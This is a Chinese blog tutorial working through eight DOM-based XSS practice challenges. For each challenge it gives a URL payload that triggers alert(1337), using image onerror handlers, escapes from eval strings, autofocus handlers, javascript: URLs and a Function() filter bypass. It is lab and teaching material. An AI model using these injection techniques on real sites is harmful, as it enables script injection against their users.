当前位置: 首页 > news >正文

xssDOM型练习

文章目录

    • 例1
      • 要求
    • 例2
      • 代码解析
      • 方法
    • 例3
    • 例4
    • 例5
    • 例6
    • 例7
    • 例8

例1

在这里插入图片描述
本题通过get接收并传递参数,所有参数不经过过滤直接放入h2标签里面。

要求

1.需要页面弹出1337
2.不能与用户交互

官方认为innerHTML中script标签不安全,所以将其禁用,但只禁用了此标签,所以我们可以使用其它标签来进行弹窗。

这里我们可以直接使用img标签。
在这里插入图片描述

<img src = 1 onerror ="alert=1337">

例2

在这里插入图片描述

代码解析

在这里插入图片描述
1.当给jeff传值时显示所传值,无值时显示JEFFF
2.eval中将Ma name $(jeff)赋值给ma
3.将ma放入h2标签下
setTimeout 1000 表示在一秒后执行一次。

方法

由于maname使用了innerText属性,所以传递到maname的内容均为文本,无法执行代码,因此我们就可以将eval中的代码闭合来执行我们的恶意代码。

?jeff=1";alert(1337);"

在这里插入图片描述

例3

在这里插入图片描述

?wey=aaa"onfocus = alert(1337) autofocus="

在这里插入图片描述

例4

在这里插入图片描述

?ricardo=javascript:alert(1337)

在这里插入图片描述

例5

在这里插入图片描述

?markassbrownlee=<img%20src=1%20onerror=location="javascript:alert%25281337%2529">

在这里插入图片描述

例6

在这里插入图片描述
在这里插入图片描述

例7

在这里插入图片描述

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

在这里插入图片描述

例8

在这里插入图片描述

?boomer=<a%20id=ok%20href="tel:alert(1337)">

在这里插入图片描述

http://www.lryc.cn/news/426605.html

相关文章:

  • python中的gradio使用麦克风时报错
  • Oracle(63)什么是临时表(Temporary Table)?
  • 《Techporters架构搭建》-Day06 国际化
  • Linux ACL 访问控制
  • hg transformers pipeline使用
  • 高性能内存对象缓存
  • 文件上传-CMS文件上传分析
  • 云原生日志Loki
  • 初阶数据结构之直接选择排序和快速排序
  • Java语言程序设计——篇十三(4)
  • 低代码: 组件库测试之渲染和元素获取,触发事件,更新表单,验证事件以及异步请求
  • 银河麒麟服务器操作系统Kylin-Server-V10-SP3-2403-Release-20240426-x86_64安装步骤
  • 2024年电赛H题全开源
  • Docker:宿主机可以ping通外网,docker容器内无法ping通外网之解决方法
  • bootchart抓Android系统启动各阶段性能数据
  • 使用 Node.js 和 Express 框架通过网页访问GPIO和嵌入式 Linux 系统中使用 GSM/3G/4G 模块
  • IT 行业的就业情况
  • 如何快速获取麒麟操作系统版本信息
  • git提交规范检查husky
  • LeetCode 919. 完全二叉树插入器
  • C++密码管理器
  • 算法【Java】 —— 滑动窗口
  • Spring Aware接口执行时机
  • android FD_SET_chk问题定位
  • Chapter 39 Python多线程编程
  • STM32(二):GPIO
  • 一文入门mysql 数据库
  • 通义千问( 四 ) Function Call 函数调用
  • 设置idea中放缩字体大小
  • frameworks 之getEvent指令